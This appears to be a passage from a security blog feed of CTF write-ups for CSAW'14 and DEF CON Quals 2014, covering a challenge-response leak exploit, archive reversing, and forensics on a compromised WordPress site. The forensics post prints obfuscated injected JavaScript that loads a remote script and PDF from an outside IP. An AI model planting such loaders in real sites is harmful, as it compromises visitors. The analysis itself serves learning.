tag:blogger.com,1999:blog-70118366216057654992024-02-07T03:42:20.041-08:00balidanibalidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.comBlogger25125tag:blogger.com,1999:blog-7011836621605765499.post-4408556890692262872014-09-21T15:00:00.002-07:002014-09-21T15:00:05.354-07:00CSAW'14 - 'saturn' writeupThis was an exploitation task for 400 points. I felt like ish and s3 were more difficult, and more people solved saturn, so this seems to be right. Let's get to the bottom of this. Here is the description:<br />
<blockquote class="tr_bq">
<span style="background-color: white; color: #222222; font-family: 'Helvetica Neue', Helvetica, Helvetica, Arial, sans-serif; font-size: 16px; line-height: 25.6000003814697px;">You have stolen the checking program for the CSAW Challenge-Response-Authentication-Protocol system. Unfortunately you forgot to grab the challenge-response keygen algorithm (libchallengeresponse.so). Can you still manage to bypass the secure system and read the flag?</span></blockquote>
So we will need a shared object to run the application. Let's see what we need to include in this. Looking at the imports in IDA, we can see that there is a very suspiciously named function, called fillChallengeResponse. If we go to the xrefs of this function, we can see that there is only one place where it is used, and it's used with the following parameters:<br />
<blockquote class="tr_bq">
fillChallengeResponse(challenge, response)</blockquote>
<div>
If the returned value is -1, the program will exit. Otherwise the challenge and response were properly filled. <span style="font-family: Courier New, Courier, monospace;">challenge</span> and <span style="font-family: Courier New, Courier, monospace;">response</span> are 32 byte long buffers. Let's implement this function and create a shared object, so that we can test/debug the program.</div>
<blockquote class="tr_bq">
<pre><span style="color: #7f0055; font-weight: bold;">typedef</span> <span style="color: #7f0055; font-weight: bold;">unsigned</span> <span style="color: #7f0055; font-weight: bold;">char</span> uint8_t;
<span style="color: #7f0055; font-weight: bold;">void</span> fillChallengeResponse(uint8_t* challenge, uint8_t* response) {
<span style="color: #7f0055; font-weight: bold;">int</span> i;
<span style="color: #7f0055; font-weight: bold;">for</span> (i = 0; i < 32; ++i) {
challenge[i] = <span style="color: #2a00ff;">'a'</span> + i;
response[i] = <span style="color: #2a00ff;">'A'</span> + i;
}
}</pre>
</blockquote>
<div>
In this dummy version, the challenges will be 'a', 'b', 'c', ..., and the responses will be the uppercase counterparts. We can compile this file with the following command:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">gcc -shared -m32 -o libchallengeresponse.so -fPIC challengeresponse.c </span></blockquote>
</div>
<div>
Then we have to place this object to <span style="font-family: Courier New, Courier, monospace;">/usr/lib</span>. Now we can run the application and mess around with it, which will turn out to be very useful!</div>
<div>
<br /></div>
<div>
After a very small amount of reversing, we can see that there are three types of commands. The program reads a single byte, and the upper 4 bits decide the command type, while the lower 4 will be the parameter. 'A' (as in 0b1010) will read a part of the challenge. 'E' will send a response for a given index. '8' will attempt to read the flag -- this will only work if all the correct reponses have been sent.<br />
<blockquote class="tr_bq">
<pre><span style="color: #7f0055; font-weight: bold;">if</span> ( fillChallengeResponse(challenge, response) == -1 )
<span style="color: #7f0055; font-weight: bold;">exit</span>(1);
<span style="color: #7f0055; font-weight: bold;">puts</span>(<span style="color: #2a00ff;">"</span><span style="color: #2a00ff;">CSAW ChallengeResponseAuthenticationProtocol Flag Storage</span><span style="color: #2a00ff;">"</span>);
<span style="color: #7f0055; font-weight: bold;">fflush</span>(<span style="color: #7f0055; font-weight: bold;">stdout</span>);
<span style="color: #7f0055; font-weight: bold;">for</span> ( i = 0; i <= 0; ++i )
{
v0 = read_one_char();
char_all = v0;
char_high = v0 & 0xF0;
<span style="color: #7f0055; font-weight: bold;">switch</span> ( char_high )
{
<span style="color: #7f0055; font-weight: bold;">case </span><span style="color: #7f0055; font-weight: bold;">0xA0</span><span style="color: #7f0055; font-weight: bold;">:</span>
print_challenge(char_all);
i -= 2;
<span style="color: #7f0055; font-weight: bold;">break</span>;
<span style="color: #7f0055; font-weight: bold;">case </span><span style="color: #7f0055; font-weight: bold;">0xE0</span><span style="color: #7f0055; font-weight: bold;">:</span>
check_response(char_all);
i -= 2;
<span style="color: #7f0055; font-weight: bold;">break</span>;
<span style="color: #7f0055; font-weight: bold;">case </span><span style="color: #7f0055; font-weight: bold;">0x80</span><span style="color: #7f0055; font-weight: bold;">:</span>
get_flag();
<span style="color: #7f0055; font-weight: bold;">break</span>;
}
}
<span style="color: #7f0055; font-weight: bold;">return</span> 0;</pre>
</blockquote>
</div>
<div>
Let's play around with these commands. First, let's try to read some challenge values.</div>
<blockquote class="tr_bq">
python -c 'print "\xA0"' | ./saturn<br />
"abcd"</blockquote>
<div>
Huh, this is strange. 4 characters for each challenge means that we will run out of challenges after the first 8 indices (4 * 8 == 32, which is the length of the challenge buffer). This is confirmed after another test.</div>
<div>
<blockquote class="tr_bq">
python -c 'print "\xA8"' | ./saturn<br />
"ABCD"</blockquote>
</div>
<div>
Indeed, this is the first part of the responses. We aren't supposed to see these. This will be easier than I thought. To "exploit" this service, all we have to do is read the output of A8, A9, AA, etc., and then send these values with the E0, E1, etc. commands. Here is how the exploit looks like in python:</div>
<blockquote class="tr_bq">
<a href="https://gist.github.com/balidani/a3bff8f387f30159f0e3">https://gist.github.com/balidani/a3bff8f387f30159f0e3</a></blockquote>
<div>
All in all, a nice challenge. many thanks to crowell!</div>
<div>
<br /></div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-23100425104167764522014-09-21T15:00:00.001-07:002014-09-21T15:00:04.244-07:00CSAW'14 - 'weissman' writeupThis was a reversing task for 300 points. The task description was simply "Extract the key!". Let's look at the <span style="font-family: Courier New, Courier, monospace;">weissman.csawlz</span> file that they provided.<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8BEgzrvTeIn8zR0d7oT-4SbvvNL5cFixW7lLT07SNJxAf2cQD2Fel1f7ir2O-F2bjVu9d5qIBgQAW_OL2cr72Nd3VaP5sLHvCR66mD2owOrUlZ2umDYUOMfx93KV3lqJuN6f6q04SkGQ/s1600/weissman_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8BEgzrvTeIn8zR0d7oT-4SbvvNL5cFixW7lLT07SNJxAf2cQD2Fel1f7ir2O-F2bjVu9d5qIBgQAW_OL2cr72Nd3VaP5sLHvCR66mD2owOrUlZ2umDYUOMfx93KV3lqJuN6f6q04SkGQ/s1600/weissman_1.png" height="320" width="313" /></a></div>
<div>
<br /></div>
<div>
This appears to be a custom file format that uses some form of LZ compression at its core. After some tinkering we managed to figure out the main structure of the file. The "3" means that there are 3 files in the archive. "AAee" is the magic in the header of each file entry.</div>
<div>
<br /></div>
<div>
The compressed files contain a bunch of blocks, with a special "flag" byte in front of each. The LSB of these bytes tells us whether the block is compressed. The rest of the flag is the size of the following block. If the block is compressed, 2 bytes follow, that somehow point to another block that was uncompressed. We did not figure out what (possibly) hashing algorithm was used to point to previous blocks, but it turns out that we don't need it at all.</div>
<div>
<br /></div>
<div>
The hint said that we need to extract key.jpg. However, compressing a jpg file (with this algorithm) makes no sense. Compared to the 500 compressed blocks in the first file, which is an HTML document, the jpg only had about 50. Here we took a leap of faith and just replaced those blocks with the appropriate number of zeroes. Here is the result:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhySb1FC53hCuWo86aqZ-ursZO7weC4uWrZH8zeHI3tT6MnbmrERq8ojkS47KbkQxEdAJMit73KdBZf1v0wAePTKqYNI81H7DCUA8FlaYMwm8wUDJIcqxvVGKiliA9pvHMZII9cF8A-Sx0/s1600/weissman_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhySb1FC53hCuWo86aqZ-ursZO7weC4uWrZH8zeHI3tT6MnbmrERq8ojkS47KbkQxEdAJMit73KdBZf1v0wAePTKqYNI81H7DCUA8FlaYMwm8wUDJIcqxvVGKiliA9pvHMZII9cF8A-Sx0/s1600/weissman_2.png" height="223" width="320" /></a></div>
<br />
After a fair amount of squinting, we could read the flag. Here it is after some reparations in paint:<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEiEQXQTKj1rmJVv1vIu22OYO10N87GqK1T8duk-CPqvW93gkw8xkBzzHh0eZbnQzvdTVnThxLLpgne9bNJg7Z7daH8Sqia_PaMc2-pr9PBR7SZFUxfFw3Mgi41TVzZUKZ_4vXWVoxbqw/s1600/weissman_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEiEQXQTKj1rmJVv1vIu22OYO10N87GqK1T8duk-CPqvW93gkw8xkBzzHh0eZbnQzvdTVnThxLLpgne9bNJg7Z7daH8Sqia_PaMc2-pr9PBR7SZFUxfFw3Mgi41TVzZUKZ_4vXWVoxbqw/s1600/weissman_3.png" height="13" width="320" /></a></div>
<div>
<br /></div>
<div>
And suddenly the whole "<a href="http://www.reddit.com/r/television/comments/2755ow/hbos_silicon_valley_tells_the_most_elaborate/">Weissman</a>" thing makes sense.</div>
<div>
<br /></div>
<div>
If anyone is interested, here's the code to generate the above picture from a cropped version of the archive, containing only key.jpg's compressed form:</div>
<div>
<br /></div>
<div>
<blockquote class="tr_bq">
<a href="https://gist.github.com/balidani/a1984630ee905a418610">https://gist.github.com/balidani/a1984630ee905a418610</a></blockquote>
Thanks to RyanWithZombies for this awesome task!</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-33962056464513620812014-09-21T15:00:00.000-07:002014-09-21T15:00:03.236-07:00CSAW'14 - 'Fluffy No More' writeupThis was a very nice forensics challenge for 300 points. It was very well built and logical. As a result, a lot of people solved it. I'll do a writeup anyway.<br />
<br />
The following files/folders were provided:<br />
<br />
<ul>
<li><span style="font-family: Courier New, Courier, monospace;">etc/</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">var/log</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">var/www</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">mysql_backup.sql</span></li>
</ul>
<span style="font-family: Courier New, Courier, monospace;">/var/www</span> contained a wordpress installation. The timestamps here were completely reset, which made things a bit harder. I did not find anything useful in the apache logs. They were just too big to completely cover. However, <span style="font-family: Courier New, Courier, monospace;">/var/log/auth.log</span> contained a lot of useful information, and turned out the key to success. The following line was the first clue:<br />
<br />
<blockquote class="tr_bq" style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js</span></blockquote>
Someone apparently edited a js file in the twentythirteen theme, and they forgot to clear the logs. This could have been found through a lot of diffing, which would have been the thing to do, should we not find anything in the logs. We spared some time here. Diffing the original <span style="font-family: Courier New, Courier, monospace;">html5.js</span> shows that there is some code appended to the original, which looks like this:<br />
<br />
<blockquote class="tr_bq">
<pre><span style="color: maroon; font-weight: bold;">var</span> g <span style="color: #808030;">=</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">ti</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
<span style="color: maroon; font-weight: bold;">var</span> c <span style="color: #808030;">=</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">HTML Tags</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
<span style="color: maroon; font-weight: bold;">var</span> f <span style="color: #808030;">=</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">. li colgroup br src datalist script option .</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
f <span style="color: #808030;">=</span> f<span style="color: #808030;">.</span><span style="color: maroon; font-weight: bold;">split</span><span style="color: #808030;">(</span><span style="color: maroon;">"</span><span style="color: #0000e6;"> </span><span style="color: maroon;">"</span><span style="color: #808030;">)</span><span style="color: purple;">;</span>
c <span style="color: #808030;">=</span> <span style="color: maroon;">"</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
k <span style="color: #808030;">=</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">/</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
m <span style="color: #808030;">=</span> f<span style="color: #808030;">[</span><span style="color: #008c00;">6</span><span style="color: #808030;">]</span><span style="color: purple;">;</span>
<span style="color: maroon; font-weight: bold;">for</span> <span style="color: #808030;">(</span><span style="color: maroon; font-weight: bold;">var</span> i <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: purple;">;</span> i <span style="color: #808030;"><</span> f<span style="color: #808030;">.</span>length<span style="color: purple;">;</span> i<span style="color: #808030;">++</span><span style="color: #808030;">)</span> <span style="color: purple;">{</span>
c <span style="color: #808030;">+=</span> f<span style="color: #808030;">[</span>i<span style="color: #808030;">]</span><span style="color: #808030;">.length</span><span style="color: #808030;">.</span><span style="color: maroon; font-weight: bold;">toString</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: purple;">;</span>
<span style="color: purple;">}</span>
v <span style="color: #808030;">=</span> f<span style="color: #808030;">[</span><span style="color: #008c00;">0</span><span style="color: #808030;">]</span><span style="color: purple;">;</span>
x <span style="color: #808030;">=</span> <span style="color: maroon;">"</span><span style="color: #0f69ff;">\'</span><span style="color: #0000e6;">ht</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
b <span style="color: #808030;">=</span> f<span style="color: #808030;">[</span><span style="color: #008c00;">4</span><span style="color: #808030;">]</span><span style="color: purple;">;</span>
f <span style="color: #808030;">=</span> <span style="color: #008c00;">2541</span> <span style="color: #808030;">*</span> <span style="color: #008c00;">6</span> <span style="color: #808030;">-</span> <span style="color: #008c00;">35</span> <span style="color: #808030;">+</span> <span style="color: #008c00;">46</span> <span style="color: #808030;">+</span> <span style="color: #008c00;">12</span> <span style="color: #808030;">-</span> <span style="color: #008c00;">15269</span><span style="color: purple;">;</span>
c <span style="color: #808030;">+=</span> f<span style="color: #808030;">.</span><span style="color: maroon; font-weight: bold;">toString</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: purple;">;</span>
f <span style="color: #808030;">=</span> <span style="color: #808030;">(</span><span style="color: #008c00;">56</span> <span style="color: #808030;">+</span> <span style="color: #008c00;">31</span> <span style="color: #808030;">+</span> <span style="color: #008c00;">68</span> <span style="color: #808030;">*</span> <span style="color: #008c00;">65</span> <span style="color: #808030;">+</span> <span style="color: #008c00;">41</span> <span style="color: #808030;">-</span> <span style="color: #008c00;">548</span><span style="color: #808030;">)</span> <span style="color: #808030;">/</span> <span style="color: #008c00;">4000</span> <span style="color: #808030;">-</span> <span style="color: #008c00;">1</span><span style="color: purple;">;</span>
c <span style="color: #808030;">+=</span> f<span style="color: #808030;">.</span><span style="color: maroon; font-weight: bold;">toString</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: purple;">;</span>
f <span style="color: #808030;">=</span> <span style="color: maroon;">"</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
c <span style="color: #808030;">=</span> c<span style="color: #808030;">.</span><span style="color: maroon; font-weight: bold;">split</span><span style="color: #808030;">(</span><span style="color: maroon;">"</span><span style="color: maroon;">"</span><span style="color: #808030;">)</span><span style="color: purple;">;</span>
<span style="color: maroon; font-weight: bold;">var</span> w <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: purple;">;</span>
u <span style="color: #808030;">=</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">s</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
<span style="color: maroon; font-weight: bold;">for</span> <span style="color: #808030;">(</span><span style="color: maroon; font-weight: bold;">var</span> i <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: purple;">;</span> i <span style="color: #808030;"><</span> c<span style="color: #808030;">.</span>length<span style="color: purple;">;</span> i<span style="color: #808030;">++</span><span style="color: #808030;">)</span> <span style="color: purple;">{</span>
<span style="color: maroon; font-weight: bold;">if</span> <span style="color: #808030;">(</span><span style="color: #808030;">(</span><span style="color: #808030;">(</span>i <span style="color: #808030;">==</span> <span style="color: #008c00;">3</span> <span style="color: #808030;">||</span> i <span style="color: #808030;">==</span> <span style="color: #008c00;">6</span><span style="color: #808030;">)</span> <span style="color: #808030;">&&</span> w <span style="color: #808030;">!=</span> <span style="color: #008c00;">2</span><span style="color: #808030;">)</span> <span style="color: #808030;">||</span> <span style="color: #808030;">(</span><span style="color: #808030;">(</span>i <span style="color: #808030;">==</span> <span style="color: #008c00;">8</span><span style="color: #808030;">)</span> <span style="color: #808030;">&&</span> w <span style="color: #808030;">==</span> <span style="color: #008c00;">2</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span> <span style="color: purple;">{</span>
f <span style="color: #808030;">+=</span> String<span style="color: #808030;">.</span><span style="color: maroon; font-weight: bold;">fromCharCode</span><span style="color: #808030;">(</span><span style="color: #008c00;">46</span><span style="color: #808030;">)</span><span style="color: purple;">;</span>
w<span style="color: #808030;">++</span><span style="color: purple;">;</span>
<span style="color: purple;">}</span>
f <span style="color: #808030;">+=</span> c<span style="color: #808030;">[</span>i<span style="color: #808030;">]</span><span style="color: purple;">;</span>
<span style="color: purple;">}</span>
i <span style="color: #808030;">=</span> k <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">anal</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
document<span style="color: #808030;">.</span>write<span style="color: #808030;">(</span><span style="color: maroon;">"</span><span style="color: #0000e6;"><</span><span style="color: maroon;">"</span> <span style="color: #808030;">+</span> m <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0000e6;"> </span><span style="color: maroon;">"</span> <span style="color: #808030;">+</span> b <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">=</span><span style="color: maroon;">"</span> <span style="color: #808030;">+</span> x <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">tp:</span><span style="color: maroon;">"</span> <span style="color: #808030;">+</span> k <span style="color: #808030;">+</span> k <span style="color: #808030;">+</span> f <span style="color: #808030;">+</span> i <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">y</span><span style="color: maroon;">"</span> <span style="color: #808030;">+</span> g <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">c</span><span style="color: maroon;">"</span> <span style="color: #808030;">+</span> u <span style="color: #808030;">+</span> v <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">j</span><span style="color: maroon;">"</span> <span style="color: #808030;">+</span> u <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0f69ff;">\'</span><span style="color: #0000e6;">></span><span style="color: #0f69ff;">\<</span><span style="color: #0000e6;">/</span><span style="color: maroon;">"</span> <span style="color: #808030;">+</span> m <span style="color: #808030;">+</span> <span style="color: maroon;">"</span><span style="color: #0f69ff;">\></span><span style="color: maroon;">"</span><span style="color: #808030;">)</span><span style="color: purple;">;</span></pre>
</blockquote>
Changing <span style="font-family: Courier New, Courier, monospace;">document.write</span> to <span style="font-family: Courier New, Courier, monospace;">console.log</span> and then executing the script yields the following result:<br />
<br />
<blockquote class="tr_bq">
<pre style="color: #000020;"><span style="color: #0057a6;"><</span><span style="color: #200080; font-weight: bold;">script src='http://128.238.66.100/analytics.js'</span><span style="color: #0057a6;">></span><span style="color: #0057a6;"></</span><span style="color: #200080; font-weight: bold;">script</span><span style="color: #0057a6;">></span></pre>
</blockquote>
Loading the JS file and beautifying it results in another fishy part in the analytics.js file:<br />
<br />
<blockquote class="tr_bq">
<pre><span style="color: maroon; font-weight: bold;">var</span> _0x91fe <span style="color: #808030;">=</span> <span style="color: #808030;">[</span><span style="color: maroon;">"</span><span style="color: #0f69ff;">\x68</span><span style="color: #0f69ff;">\x74</span><span style="color: #0f69ff;">\x74</span><span style="color: #0f69ff;">\x70</span><span style="color: #0f69ff;">\x3A</span><span style="color: #0f69ff;">\x2F</span><span style="color: #0f69ff;">\x2F</span><span style="color: #0f69ff;">\x31</span><span style="color: #0f69ff;">\x32</span><span style="color: #0f69ff;">\x38</span><span style="color: #0f69ff;">\x2E</span><span style="color: #0f69ff;">\x32</span><span style="color: #0f69ff;">\x33</span><span style="color: #0f69ff;">\x38</span><span style="color: #0f69ff;">\x2E</span><span style="color: #0f69ff;">\x36</span><span style="color: #0f69ff;">\x36</span><span style="color: #0f69ff;">\x2E</span><span style="color: #0f69ff;">\x31</span><span style="color: #0f69ff;">\x30</span><span style="color: #0f69ff;">\x30</span><span style="color: #0f69ff;">\x2F</span><span style="color: #0f69ff;">\x61</span><span style="color: #0f69ff;">\x6E</span><span style="color: #0f69ff;">\x6E</span><span style="color: #0f69ff;">\x6F</span><span style="color: #0f69ff;">\x75</span><span style="color: #0f69ff;">\x6E</span><span style="color: #0f69ff;">\x63</span><span style="color: #0f69ff;">\x65</span><span style="color: #0f69ff;">\x6D</span><span style="color: #0f69ff;">\x65</span><span style="color: #0f69ff;">\x6E</span><span style="color: #0f69ff;">\x74</span><span style="color: #0f69ff;">\x2E</span><span style="color: #0f69ff;">\x70</span><span style="color: #0f69ff;">\x64</span><span style="color: #0f69ff;">\x66</span><span style="color: maroon;">"</span><span style="color: #808030;">,</span> <span style="color: maroon;">"</span><span style="color: #0f69ff;">\x5F</span><span style="color: #0f69ff;">\x73</span><span style="color: #0f69ff;">\x65</span><span style="color: #0f69ff;">\x6C</span><span style="color: #0f69ff;">\x66</span><span style="color: maroon;">"</span><span style="color: #808030;">,</span> <span style="color: maroon;">"</span><span style="color: #0f69ff;">\x6F</span><span style="color: #0f69ff;">\x70</span><span style="color: #0f69ff;">\x65</span><span style="color: #0f69ff;">\x6E</span><span style="color: maroon;">"</span><span style="color: #808030;">]</span><span style="color: purple;">;</span>
window<span style="color: #808030;">[</span>_0x91fe<span style="color: #808030;">[</span><span style="color: #008c00;">2</span><span style="color: #808030;">]</span><span style="color: #808030;">]</span><span style="color: #808030;">(</span>_0x91fe<span style="color: #808030;">[</span><span style="color: #008c00;">0</span><span style="color: #808030;">]</span><span style="color: #808030;">,</span> _0x91fe<span style="color: #808030;">[</span><span style="color: #008c00;">1</span><span style="color: #808030;">]</span><span style="color: #808030;">)</span><span style="color: purple;">;</span></pre>
</blockquote>
Decoding the hex-encoded string gives us a url for a pdf file<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">http://128.238.66.100/announcement.pdf</span></blockquote>
After this I got stuck, and it was a teammate that told be about qpdf. Using this tool, we can extract information from the file. Looking at the extracted pdf file, we can find another js snippet:<br />
<br />
<blockquote class="tr_bq">
<pre><span style="color: maroon; font-weight: bold;">var</span> _0xee0b<span style="color: #808030;">=</span><span style="color: #808030;">[</span><span style="color: maroon;">"</span><span style="color: #0f69ff;">\x59</span><span style="color: #0f69ff;">\x4F</span><span style="color: #0f69ff;">\x55</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x44</span><span style="color: #0f69ff;">\x49</span><span style="color: #0f69ff;">\x44</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x49</span><span style="color: #0f69ff;">\x54</span><span style="color: #0f69ff;">\x21</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x43</span><span style="color: #0f69ff;">\x4F</span><span style="color: #0f69ff;">\x4E</span><span style="color: #0f69ff;">\x47</span><span style="color: #0f69ff;">\x52</span><span style="color: #0f69ff;">\x41</span><span style="color: #0f69ff;">\x54</span><span style="color: #0f69ff;">\x53</span><span style="color: #0f69ff;">\x21</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x66</span><span style="color: #0f69ff;">\x77</span><span style="color: #0f69ff;">\x69</span><span style="color: #0f69ff;">\x77</span><span style="color: #0f69ff;">\x2C</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x6A</span><span style="color: #0f69ff;">\x61</span><span style="color: #0f69ff;">\x76</span><span style="color: #0f69ff;">\x61</span><span style="color: #0f69ff;">\x73</span><span style="color: #0f69ff;">\x63</span><span style="color: #0f69ff;">\x72</span><span style="color: #0f69ff;">\x69</span><span style="color: #0f69ff;">\x70</span><span style="color: #0f69ff;">\x74</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x6F</span><span style="color: #0f69ff;">\x62</span><span style="color: #0f69ff;">\x66</span><span style="color: #0f69ff;">\x75</span><span style="color: #0f69ff;">\x73</span><span style="color: #0f69ff;">\x63</span><span style="color: #0f69ff;">\x61</span><span style="color: #0f69ff;">\x74</span><span style="color: #0f69ff;">\x69</span><span style="color: #0f69ff;">\x6F</span><span style="color: #0f69ff;">\x6E</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x69</span><span style="color: #0f69ff;">\x73</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x73</span><span style="color: #0f69ff;">\x6F</span><span style="color: #0f69ff;">\x66</span><span style="color: #0f69ff;">\x61</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x6B</span><span style="color: #0f69ff;">\x69</span><span style="color: #0f69ff;">\x6E</span><span style="color: #0f69ff;">\x67</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x64</span><span style="color: #0f69ff;">\x75</span><span style="color: #0f69ff;">\x6D</span><span style="color: #0f69ff;">\x62</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x3A</span><span style="color: #0f69ff;">\x29</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x6B</span><span style="color: #0f69ff;">\x65</span><span style="color: #0f69ff;">\x79</span><span style="color: #0f69ff;">\x7B</span><span style="color: #0f69ff;">\x54</span><span style="color: #0f69ff;">\x68</span><span style="color: #0f69ff;">\x6F</span><span style="color: #0f69ff;">\x73</span><span style="color: #0f69ff;">\x65</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x46</span><span style="color: #0f69ff;">\x6C</span><span style="color: #0f69ff;">\x75</span><span style="color: #0f69ff;">\x66</span><span style="color: #0f69ff;">\x66</span><span style="color: #0f69ff;">\x79</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x42</span><span style="color: #0f69ff;">\x75</span><span style="color: #0f69ff;">\x6E</span><span style="color: #0f69ff;">\x6E</span><span style="color: #0f69ff;">\x69</span><span style="color: #0f69ff;">\x65</span><span style="color: #0f69ff;">\x73</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x4D</span><span style="color: #0f69ff;">\x61</span><span style="color: #0f69ff;">\x6B</span><span style="color: #0f69ff;">\x65</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x54</span><span style="color: #0f69ff;">\x75</span><span style="color: #0f69ff;">\x6D</span><span style="color: #0f69ff;">\x6D</span><span style="color: #0f69ff;">\x79</span><span style="color: #0f69ff;">\x20</span><span style="color: #0f69ff;">\x42</span><span style="color: #0f69ff;">\x75</span><span style="color: #0f69ff;">\x6D</span><span style="color: #0f69ff;">\x70</span><span style="color: #0f69ff;">\x79</span><span style="color: #0f69ff;">\x7D</span><span style="color: maroon;">"</span><span style="color: #808030;">]</span><span style="color: purple;">;</span>
<span style="color: maroon; font-weight: bold;">var</span> y<span style="color: #808030;">=</span>_0xee0b<span style="color: #808030;">[</span><span style="color: #008c00;">0</span><span style="color: #808030;">]</span><span style="color: purple;">;</span></pre>
</blockquote>
Another round of decoding, and we get the flag:<br />
<blockquote class="tr_bq">
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy}</blockquote>
Nice task, props to brad_anton!<br />
<br />balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com4tag:blogger.com,1999:blog-7011836621605765499.post-47893456810187952062014-05-18T18:32:00.000-07:002014-05-18T18:32:40.075-07:00DEF CON Quals 2014, 100lines writeup<div style="text-align: left;">
<i>It's not broken, you just need more RAM.</i></div>
<div>
<br /></div>
<div>
100lines was a task for 2 points by Jymbolia at the DEF CON Qualifiers. The file was a 64-bit ELF executable.</div>
<div>
<br /></div>
<div>
After some reversing the clue we received from the task description becomes clear. At 0x400D1A the program tries to <span style="font-family: Courier New, Courier, monospace;">malloc</span> 264289788888064 bytes, which is roughly 240 terabytes. We have to optimize the program to use less memory.</div>
<div>
<br /></div>
<div>
The key function to optimize was <span style="font-family: Courier New, Courier, monospace;">getByte</span>, which calls loop after <span style="font-family: Courier New, Courier, monospace;">malloc</span>. <span style="font-family: Courier New, Courier, monospace;">loop</span> writes random data into the allocated buffer and when it's finished, <span style="font-family: Courier New, Courier, monospace;">getByte</span> returns the value at the passed index. Let's look at <span style="font-family: Courier New, Courier, monospace;">loop</span> a bit more closely. After decompiling and a lot of modifications by hand, we get something like this:</div>
<div>
<br /></div>
<blockquote class="tr_bq">
<pre style="color: #000020;"><span style="color: #200080; font-weight: bold;">void</span> loop<span style="color: #308080;">(</span>ulong count<span style="color: #308080;">,</span> <span style="color: #200080; font-weight: bold;">char</span><span style="color: #308080;">*</span> seed<span style="color: #308080;">,</span> <span style="color: #200080; font-weight: bold;">char</span><span style="color: #308080;">*</span> big_buff<span style="color: #308080;">)</span> <span style="color: #406080;">{</span>
count_max <span style="color: #308080;">=</span> count <span style="color: #308080;">-</span> <span style="color: #008c00;">32</span><span style="color: #406080;">;</span>
counter_1 <span style="color: #308080;">=</span> <span style="color: #008c00;">0</span><span style="color: #406080;">;</span>
